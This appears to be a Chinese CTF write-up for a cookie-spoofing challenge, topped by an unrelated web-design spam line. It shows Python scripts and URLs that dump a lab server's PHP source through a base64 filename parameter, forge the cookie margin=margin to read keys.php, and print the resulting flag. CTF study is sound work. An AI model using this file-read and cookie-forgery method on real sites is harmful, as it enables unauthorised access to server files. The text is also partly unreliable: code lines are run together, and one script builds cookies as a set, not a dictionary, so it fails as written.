给网站做插画分辨率郑州做网站哪家比较好
知识点
isset: 检测变量是否设置,并且不是 NULL
 $_GET:收集来自 method=“get” 的表单里的值
intval() 函数用于获取变量的整数值。
in_array() 函数搜索数组里是否存在指定的值。
 举例:
结果:
 匹配已找到
file() 函数把整个文件读入一个数组里
 file() 将文件作为一个数组返回。数组里的各单元都为文件里相应的一行,包括换行符在内。
解题流程
查看题目描述: cookies欺骗
 打开网页
 
 只看到很长的字符串
 
 base64解码
 
 通常的源文件应该是index.php
 2、对index.php进行base64编码并作为新的filename的参数
 
 3、查看源文件,其里line变量起到控制行数的作用:
 http://114.67.246.176:13972/index.php?line=1&filename=aW5kZXgucGhw
 
 
 4、编写python脚本,查看全部源码
import requests
rs = requests.session()f = open("out.php", "w") 
for i in range(1,30):url = "http://114.67.246.176:13972/index.php?line={}&filename=aW5kZXgucGhw=".format(i)rsg = rs.get(url)print(rsg.text,file=f)f.close()
 
5、分析PHP源代码,结合题目描述,我们需要上传一个cookies,令margin=margin
<?
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");  //表示有filename的话获取其内容,没有的话就赋值为空
$line=isset($_GET['line'])?intval($_GET['line']):0;  //line有值直接获取,无值赋值为0
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");  //设置我们看到的URL
$file_list = array(  //关联型数组
'0' =>'keys.txt',
'1' =>'index.php',
);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //接下来的指示,cookie里的margin参数要设置,且要等于'margin'
$file_list[2]='keys.php';   //在数组里加入keys.php,这应该存着flag
}if(in_array($file, $file_list)){   //看我们传入的filename的值是否在上面的数组里
$fa = file($file);   //以文件的方式打开
echo $fa[$line];   //按line行号,输出  因为line写成0(file将文件的内容作为数组时第一行下标是0,至于刚刚那个index.php应该是首行为空的)
}/*
isset: 检测变量是否设置,并且不是 NULL
$_GET:收集来自 method=“get” 的表单里的值intval() 函数用于获取变量的整数值。in_array() 函数搜索数组里是否存在指定的值。
举例:
<?php
$am = array("Bill", "Steve", "trump", "David");
if (in_array("trump", $am)){echo "匹配已找到";}
else{echo "匹配未找到";}
?>
结果:
匹配已找到file() 函数把整个文件读入一个数组里
file() 将文件作为一个数组返回。数组里的各单元都为文件里相应的一行,包括换行符在内。
*/
?>
 
至此,我们的目标网址应该是:
 http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA=(filename替换为
 keys.php的base64加密后的内容)
 line写成0(file将文件的内容作为数组时第一行下标是0,至于刚刚那个index.php应该是首行为空的)
 6、三类上传方法:
 (1)通过BrupSuite抓包后上传
 
 
 (2)编写python脚本上传
import requests 
url = "http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA="mysession = requests.session()cookies = {'margin','margin'}r = mysession.post(url,cookies=cookies)print(r.text)
 
(3)使用Hackbar上传
 
 7、得到flag:flag{4db7115d577eed11439dd72738823e9f}
